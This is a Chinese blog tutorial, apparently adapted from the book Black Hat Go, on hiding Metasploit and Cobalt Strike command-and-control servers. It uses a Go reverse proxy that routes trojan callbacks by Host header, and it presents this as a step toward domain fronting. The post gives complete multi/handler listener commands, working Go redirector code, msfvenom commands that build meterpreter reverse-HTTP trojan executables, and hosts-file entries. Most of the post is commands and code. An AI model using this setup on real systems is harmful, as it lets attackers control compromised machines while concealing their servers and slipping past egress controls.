之前正好学习了使用云函数代理cs的流量,来达到隐藏CS的真实ip的目的。然后正好在GO黑帽子这本书的第四章最后一节中也是讲了一下这个云函数的原理,其实也就是个反向的HTTP代理。这样我们可以基于Host HTTP标头动态路由传入Msf会话。
首先,我们的代理会充当重定向器,允许我们仅公开域名和ip地址,而不用公开Metasploit监听器。而我们可以扩展这些概念来实现域前置,它是一种利用可信第三方域(通常来自云服务器提供商)绕过限制性出口控制技术。并且我们会利用代码来让木马通过一个代理来上线不同的msf服务器。
首先,我们使用msf开启反向HTTP监听器。我们本次演示用同一个主机的两个不同的端口来作示例。
use exploit/multi/handler
set payload windows/meterpreter_reverse_http
set LHOST 192.168.1.2
set LPORT 80
set ReverseListenerBindAdderss 192.168.1.2
set ReverseListenerBindPort 10080
exploit -j -zuse exploit/multi/handler
set payload windows/meterpreter_reverse_http
set LHOST 192.168.1.2
set LPORT 80
set ReverseListenerBindAdderss 192.168.1.2
set ReverseListenerBindPort 20080
exploit -j -z
然后我们来编写我们反向服务器的代码,我们的木马首先要访问我们的代理服务器,然后通过我们的代理再将我们的http请求转发到我们的msf服务器上。
package mainimport (
"log"
"net/http"
"net/http/httputil"
"net/url"
"github.com/gorilla/mux"
)
var (
hostProxy = make(map[string]string)
proxies = make(map[string]*httputil.ReverseProxy)
)
func init() {
hostProxy["attacker1.com"] = "http://192.168.1.2:10080"
hostProxy["attacker2.com"] = "http://192.168.1.2:20080"
for k, v := range hostProxy {
remote, err := url.Parse(v)
if err != nil {
log.Fatal("Unable to parse proxy target")
}
proxies[k] = httputil.NewSingleHostReverseProxy(remote)
}
}
func main() {
r := mux.NewRouter()
for host, proxy := range proxies {
r.Host(host).Handler(proxy)
}
log.Fatal(http.ListenAndServe(":80", r))
}
首先,我们使用了net/http/httputil包,这个包可以帮助我们快速构建一个反向代理。然后我们来构建一对变量。这两个变量都是映射,我们使用第一个hostProxy将主机名映射到我们希望该主机名路由到的msf监听器url。然后第二个变量proxies也将使用主机名作为键值。但是,它们在映射中的对应值为实例*httputil.ReverseProxy,也就是说,这些值将是可以路由到实际的代理实例,而不是目标的字符串表示形式。
然后我们使用init()函数来进行域名和目标msf服务器之间的映射。我们将attacker1.com的路由请求到192.168.1.2服务器的10080端口,将attacker2.com的路由请求到192.168.1.2的20080端口。然后循环解析目标地址来创建net.URL,并且将其结果用作从URL创建反向代理函数的参数。而且该函数返回值httputil.ReverseProxy属于接口类型http.Handler,也就是说,我们可以利用它直接用阿里当作路由器的处理程序。
最后,我们在main函数中循环,将我们创建好的代理处理程序添加到路由中。而Gorilla MUX工具箱的Route类型包含一个名为Host的匹配函数,通过该函数,我们可以将传入的不同的host值的http请求调用不同的处理程序进行处理。
然后我们使用msf分别创建两个木马。
msfvenom -p windows/meterpreter_reverse_http LHOST=192.168.1.2 LPORT=80 HttpHostHeader=attacker1.com -f exe -o payload1.exe
msfvenom -p windows/meterpreter_reverse_http LHOST=192.168.1.2 LPORT=80 HttpHostHeader=attacker2.com -f exe -o payload2.exe
由于我们实际在内网环境进行测试,并没有真实的使用域名,而我们编写的代理服务器,是将host头中的域名进行检测,来判断向那个msf服务器进行会话的发送,所以我们要在windows的host文件中将我们的attacker1.com、attacker2.com以及其对应的cs端口添加进去。
192.168.1.2 attacker1.com
192.168.1.2 attacker2.com
运行之后就可以看到我们的木马已经上线。
其实在cs中也是一样的道理,我们可以使用这种方法来保护我们的cs服务器真实ip。当然,我们之前说过的腾讯云函数上线也是这个道理,只不过云函数更进一步,会使用不同的网关进行上线。
星 球 免 费 福 利
转发公众号本文到朋友圈
截图到公众号后台第1、3、5名获取免费进入星球
欢 迎 加 入 星 球 !
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读